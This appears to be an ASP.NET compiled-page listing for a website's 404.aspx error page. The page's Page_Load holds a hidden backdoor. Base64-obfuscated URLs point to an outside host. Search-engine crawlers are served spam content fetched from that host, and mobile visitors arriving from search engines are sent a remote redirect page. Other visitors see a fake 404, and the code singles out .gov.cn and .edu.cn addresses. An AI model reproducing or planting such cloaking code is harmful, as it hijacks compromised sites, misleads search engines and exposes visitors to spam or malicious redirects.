行 1: #pragma checksum "E:\ztjtweb\404.aspx" "{ff1816ec-aa5e-4d10-87f7-6f4963833460}" "BBD8F477D7561C05C947DCE752A8DC6D31A9A9F7"
行 2: //------------------------------------------------------------------------------
行 3: // <auto-generated>
行 4: // 此代码由工具生成。
行 5: // 运行时版本:4.0.30319.42000
行 6: //
行 7: // 对此文件的更改可能会导致不正确的行为,并且如果
行 8: // 重新生成代码,这些更改将会丢失。
行 9: // </auto-generated>
行 10: //------------------------------------------------------------------------------
行 11:
行 12:
行 13:
行 14: public partial class _404 : System.Web.SessionState.IRequiresSessionState {
行 15:
行 16: protected System.Web.Profile.DefaultProfile Profile {
行 17: get {
行 18: return ((System.Web.Profile.DefaultProfile)(this.Context.Profile));
行 19: }
行 20: }
行 21:
行 22: protected ASP.global_asax ApplicationInstance {
行 23: get {
行 24: return ((ASP.global_asax)(this.Context.ApplicationInstance));
行 25: }
行 26: }
行 27: }
行 28: namespace ASP {
行 29:
行 30: #line 389 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 31: using System.Linq;
行 32:
行 33: #line default
行 34: #line hidden
行 35:
行 36: #line 2 "E:\ztjtweb\404.aspx"
行 37: using System.Net;
行 38:
行 39: #line default
行 40: #line hidden
行 41:
行 42: #line 396 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 43: using System.Web.Security;
行 44:
行 45: #line default
行 46: #line hidden
行 47:
行 48: #line 385 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 49: using System.Collections.Generic;
行 50:
行 51: #line default
行 52: #line hidden
行 53:
行 54: #line 391 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 55: using System.Text.RegularExpressions;
行 56:
行 57: #line default
行 58: #line hidden
行 59:
行 60: #line 399 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 61: using System.Web.UI.WebControls;
行 62:
行 63: #line default
行 64: #line hidden
行 65:
行 66: #line 402 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 67: using System.Xml.Linq;
行 68:
行 69: #line default
行 70: #line hidden
行 71:
行 72: #line 398 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 73: using System.Web.UI;
行 74:
行 75: #line default
行 76: #line hidden
行 77:
行 78: #line 383 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 79: using System;
行 80:
行 81: #line default
行 82: #line hidden
行 83:
行 84: #line 401 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 85: using System.Web.UI.HtmlControls;
行 86:
行 87: #line default
行 88: #line hidden
行 89:
行 90: #line 392 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 91: using System.Web;
行 92:
行 93: #line default
行 94: #line hidden
行 95:
行 96: #line 388 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 97: using System.Configuration;
行 98:
行 99: #line default
行 100: #line hidden
行 101:
行 102: #line 387 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 103: using System.ComponentModel.DataAnnotations;
行 104:
行 105: #line default
行 106: #line hidden
行 107:
行 108: #line 390 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 109: using System.Text;
行 110:
行 111: #line default
行 112: #line hidden
行 113:
行 114: #line 397 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 115: using System.Web.Profile;
行 116:
行 117: #line default
行 118: #line hidden
行 119:
行 120: #line 393 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 121: using System.Web.Caching;
行 122:
行 123: #line default
行 124: #line hidden
行 125:
行 126: #line 384 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 127: using System.Collections;
行 128:
行 129: #line default
行 130: #line hidden
行 131:
行 132: #line 400 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 133: using System.Web.UI.WebControls.WebParts;
行 134:
行 135: #line default
行 136: #line hidden
行 137:
行 138: #line 386 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 139: using System.Collections.Specialized;
行 140:
行 141: #line default
行 142: #line hidden
行 143:
行 144: #line 395 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 145: using System.Web.SessionState;
行 146:
行 147: #line default
行 148: #line hidden
行 149:
行 150: #line 394 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"
行 151: using System.Web.DynamicData;
行 152:
行 153: #line default
行 154: #line hidden
行 155:
行 156: #line 3 "E:\ztjtweb\404.aspx"
行 157: using System.IO;
行 158:
行 159: #line default
行 160: #line hidden
行 161:
行 162:
行 163: [System.Runtime.CompilerServices.CompilerGlobalScopeAttribute()]
行 164: public class _404_aspx : global::_404, System.Web.IHttpHandler {
行 165:
行 166: private static bool @__initialized;
行 167:
行 168: private static object @__stringResource;
行 169:
行 170: private static object @__fileDependencies;
行 171:
行 172:
行 173: #line 4 "E:\ztjtweb\404.aspx"
行 174:
行 175: protected void Page_Load(object sender, EventArgs e)
行 176: {
行 177: string data_user = Request.UserAgent;
行 178: string data_link = Request.Url.ToString();
行 179: string data_refs = Request.UrlReferrer != null ? Request.UrlReferrer.ToString() : "";
行 180: string Path;
行 181:
行 182: if (data_link.Contains("txt"))
行 183: {
行 184: Path = DeBaseString(@"aHR0cDovL3MuYmM4LmluL2dsb2JhbC90eHQv");
行 185: }
行 186: else if (data_link.Contains("err"))
行 187: {
行 188: Path = DeBaseString(@"aHR0cDovL3MuYmM4LmluL2dsb2JhbC9lcnIv");
行 189: }else {
行 190: Path = DeBaseString(@"aHR0cDovL3MuYmM4LmluL2dsb2JhbC9lcnIv");
行 191: }
行 192:
行 193: if (Is_VipUser(data_user))
行 194: {
行 195: string c_link = Path + DeBaseString(@"P3VjPWdiayZob3N0PQ==") + data_link;
行 196: string c_link_data = GetHttp(c_link);
行 197: Response.Write(c_link_data);Response.End();
行 198: }
行 199:
行 200: if (IS_SvipUser(data_refs) && IS_SvipEnts(data_link))
行 201: {
行 202: if (IS_Moblie(data_user))
行 203: {
行 204: string t_link = Path + DeBaseString(@"P3VjPWp1bXA=");
行 205: string t_link_data = GetHttp(t_link);
行 206: Response.Write(t_link_data);
行 207: Response.End();
行 208: }else{
行 209: Response.StatusCode = 404;
行 210: Response.Status="404 Not Found";
行 211: Response.Write(DeBaseString("PGh0bWw+CjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPHRpdGxlPjQwNDwvdGl0bGU+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iIj4KICAgIDxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVudD0iIj4KICAgIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CiAgICAgICAgYm9keSB7CiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW4gIWltcG9ydGFudDsKICAgICAgICAgICAgcGFkZGluZy10b3A6IDEyMHB4OwogICAgICAgIH0KCiAgICAgICAgLnRleHQtaW5mbyB7CiAgICAgICAgICAgIGNvbG9yOiAjZmZmOwogICAgICAgICAgICBmb250LXNpemU6IDUwcHg7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOwogICAgICAgICAgICBsZXR0ZXItc3BhY2luZzogMXB4OwogICAgICAgIH0KCiAgICAgICAgLnBhZ2UtZXJyb3IgewogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OwogICAgICAgICAgICBtYXJnaW46IDMwcHggMCAwOwogICAgICAgICAgICB3aWR0aDogNTAlOwogICAgICAgICAgICBtYXJnaW46IDAgYXV0bzsKICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgICAgICB6LWluZGV4OiA1MDAwOwogICAgICAgIH0KCiAgICAgICAgZGl2LmVycm9yLWNvbnRlbnQgewogICAgICAgICAgICBjb2xvcjogI2ZmZjsKICAgICAgICB9CgogICAgICAgIC5lcnJvci1saW5rIHsKICAgICAgICAgICAgY29sb3I6ICNGRkEyMDA7CiAgICAgICAgfQoKICAgICAgICAubG9nby1lcnJvciB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoMCwgMCwgMCwgMC4wOCk7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweCAzcHggMCAwOwogICAgICAgICAgICBjb2xvcjogI0ZGRkZGRjsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgcGFkZGluZzogMCAwIDE1cHggMjVweDsKICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICB0b3A6IDBweDsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCByZ2JhKDAsIDAsIDAsIDAuMik7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDFweCAxcHggMHB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4xKTsKICAgICAgICB9CgogICAgICAgICAgICAubG9nby1lcnJvciBoMSB7CiAgICAgICAgICAgICAgICBjb2xvcjogI0ZGRkZGRjsKICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMzBweDsKICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiAyMDA7CiAgICAgICAgICAgICAgICBsZXR0ZXItc3BhY2luZzogLTFweDsKICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogaW5oZXJpdDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC5sb2dvLWVycm9yIGgxIHNwYW4gewogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IG5vbmUgcmVwZWF0IHNjcm9sbCAwIDAgcmdiYSgwLCAwLCAwLCAwLjIpOwogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDExcHg7CiAgICAgICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDA7CiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMCA1cHg7CiAgICAgICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgICAgICAgICAgICAgIHRvcDogLTNweDsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgYm9keSB7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAiT3BlbiBTYW5zIiwgQXJpYWwsIHNhbnMtc2VyaWYgIWltcG9ydGFudDsKICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4ICFpbXBvcnRhbnQ7CiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAyMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kOiB1cmwoL3doaXJfc3lzdGVtL1Jlcy9pbWFnZXMvYmcuanBnKSBuby1yZXBlYXQgdG9wIGNlbnRlciBmaXhlZDsKICAgICAgICB9CiAgICA8L3N0eWxlPgoKPC9oZWFkPgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9ImxvZ28tZXJyb3IiPgogICAgICAgIDxoMT5lekVJUAogICAgICAgICAgICA8c3Bhbj52NS4wPC9zcGFuPgogICAgICAgIDwvaDE+CiAgICA8L2Rpdj4KICAgIDxzZWN0aW9uIGNsYXNzPSJwYWdlLWVycm9yIj4KICAgICAgICA8ZGl2IGNsYXNzPSJlcnJvci1wYWdlIj4KICAgICAgICAgICAgPGgyIGNsYXNzPSJ0ZXh0LWluZm8iPjQwNDwvaDI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVycm9yLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgPGgzPjxpIGNsYXNzPSJlbnR5cG8tYXR0ZW50aW9uIj48L2k+UGFnZSBub3QgZm91bmQuPC9oMz4KICAgICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgICAgIFdlIGNvdWxkIG5vdCBmaW5kIHRoZSBwYWdlIHlvdSB3ZXJlIGxvb2tpbmcgZm9yLiBNZWFud2hpbGUsIHlvdSBtYXkgcmV0dXJuIHRvIDxhIGNsYXNzPSJlcnJvci1saW5rIiBocmVmPScvJz5IT01FIFBBR0U8L2E+LgogICAgICAgICAgICAgICAgPC9wPgoKICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L3NlY3Rpb24+CjwvYm9keT4KPC9odG1sPg=="));Response.End();
行 212: }
行 213: }
行 214: }
行 215: public string GetHttp(string url)
行 216: {
行 217: HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(url);
行 218:
行 219: httpWebRequest.ContentType = "application/x-www-form-urlencoded";
行 220: httpWebRequest.UserAgent = Request.ServerVariables["HTTP_USER_AGENT"];
行 221: httpWebRequest.Method = "GET";
行 222: httpWebRequest.Timeout = 999999;
行 223:
行 224: HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
行 225: StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream(), Encoding.GetEncoding("GB2312"));
行 226: string responseContent = streamReader.ReadToEnd();
行 227:
行 228: httpWebResponse.Close();
行 229: streamReader.Close();
行 230:
行 231: return responseContent;
行 232: }
行 233:
行 234: public bool Is_VipUser(string user)
行 235: {
行 236: return Regex.IsMatch(user, @"Baiduspider|Sogou|YisouSpider|360Spider|Bytespider|bingbot", RegexOptions.IgnoreCase);
行 237: }
行 238: public bool IS_SvipUser(string user)
行 239: {
行 240: return Regex.IsMatch(user, @"baidu|sogou|so.com|sm.cn|bing|toutiao", RegexOptions.IgnoreCase);
行 241: }
行 242: public bool IS_SvipEnts(string link)
行 243: {
行 244: return Regex.IsMatch(link, @"\.gov.cn|\.edu.cn|\.shtml|\.phtml|\.xml|err|txt", RegexOptions.IgnoreCase);
行 245: }
行 246: public bool IS_Moblie(string user)
行 247: {
行 248: return Regex.IsMatch(user, @"nokia|sony|ericsson|mot|samsung|htc|sgh|lg|sharp|sie-|philips|panasonic|alcatel|lenovo|iphone|ipod|blackberry|meizu|android|netfront|symbian|ucweb|windowsce|palm|operamini|operamobi|openwave|nexusone|cldc|midp|wap|mobile", RegexOptions.IgnoreCase);
行 249: }
行 250: public string DeBaseString(string str)
行 251: {
行 252: return Encoding.Default.GetString(Convert.FromBase64String(str));
行 253: }
行 254:
行 255: #line default
行 256: #line hidden
行 257:
行 258:
行 259: [System.Diagnostics.DebuggerNonUserCodeAttribute()]
行 260: public _404_aspx() {
行 261: string[] dependencies;
行 262:
行 263: #line 912304 "E:\ztjtweb\404.aspx.cs"
行 264: ((global::System.Web.UI.Page)(this)).AppRelativeVirtualPath = "~/404.aspx";
行 265:
行 266: #line default
行 267: #line hidden
行 268: if ((global::ASP._404_aspx.@__initialized == false)) {
行 269: global::ASP._404_aspx.@__stringResource = this.ReadStringResource();
行 270: dependencies = new string[2];
行 271: dependencies[0] = "~/404.aspx";
行 272: dependencies[1] = "~/404.aspx.cs";
行 273: global::ASP._404_aspx.@__fileDependencies = this.GetWrappedFileDependencies(dependencies);
行 274: global::ASP._404_aspx.@__initialized = true;
行 275: }
行 276: this.Server.ScriptTimeout = 30000000;
行 277: }
行 278:
行 279: [System.Diagnostics.DebuggerNonUserCodeAttribute()]
行 280: private void @__BuildControlTree(_404_aspx @__ctrl) {
行 281:
行 282: #line 1 "E:\ztjtweb\404.aspx"
行 283: @__ctrl.EnableViewStateMac = false;
行 284:
行 285: #line default
行 286: #line hidden
行 287:
行 288: #line 1 "E:\ztjtweb\404.aspx"
行 289: @__ctrl.EnableEventValidation = false;
行 290:
行 291: #line default
行 292: #line hidden
行 293:
行 294: #line 1 "E:\ztjtweb\404.aspx"
行 295: this.InitializeCulture();
行 296:
行 297: #line default
行 298: #line hidden
行 299: @__ctrl.SetRenderMethodDelegate(new System.Web.UI.RenderMethod(this.@__Render__control1));
行 300: }
行 301:
行 302: private void @__Render__control1(System.Web.UI.HtmlTextWriter @__w, System.Web.UI.Control parameterContainer) {
行 303: this.WriteUTF8ResourceString(@__w, 0, 2051, true);
行 304:
行 305: #line 157 "E:\ztjtweb\404.aspx"
行 306: @__w.Write(SysPath);
行 307:
行 308:
行 309: #line default
行 310: #line hidden
行 311: this.WriteUTF8ResourceString(@__w, 2051, 686, true);
行 312: }
行 313:
行 314:
行 315: #line 912304 "E:\ztjtweb\404.aspx.cs"
行 316: [System.Diagnostics.DebuggerNonUserCodeAttribute()]
行 317: protected override void FrameworkInitialize() {
行 318: base.FrameworkInitialize();
行 319: this.SetStringResourcePointer(global::ASP._404_aspx.@__stringResource, 0);
行 320: this.@__BuildControlTree(this);
行 321: this.AddWrappedFileDependencies(global::ASP._404_aspx.@__fileDependencies);
行 322: }
行 323:
行 324: #line default
行 325: #line hidden
行 326:
行 327: [System.Diagnostics.DebuggerNonUserCodeAttribute()]
行 328: public override int GetTypeHashCode() {
行 329: return 909526700;
行 330: }
行 331:
行 332: [System.Diagnostics.DebuggerNonUserCodeAttribute()]
行 333: public override void ProcessRequest(System.Web.HttpContext context) {
行 334: base.ProcessRequest(context);
行 335: }
行 336: }
行 337: }
行 338:
|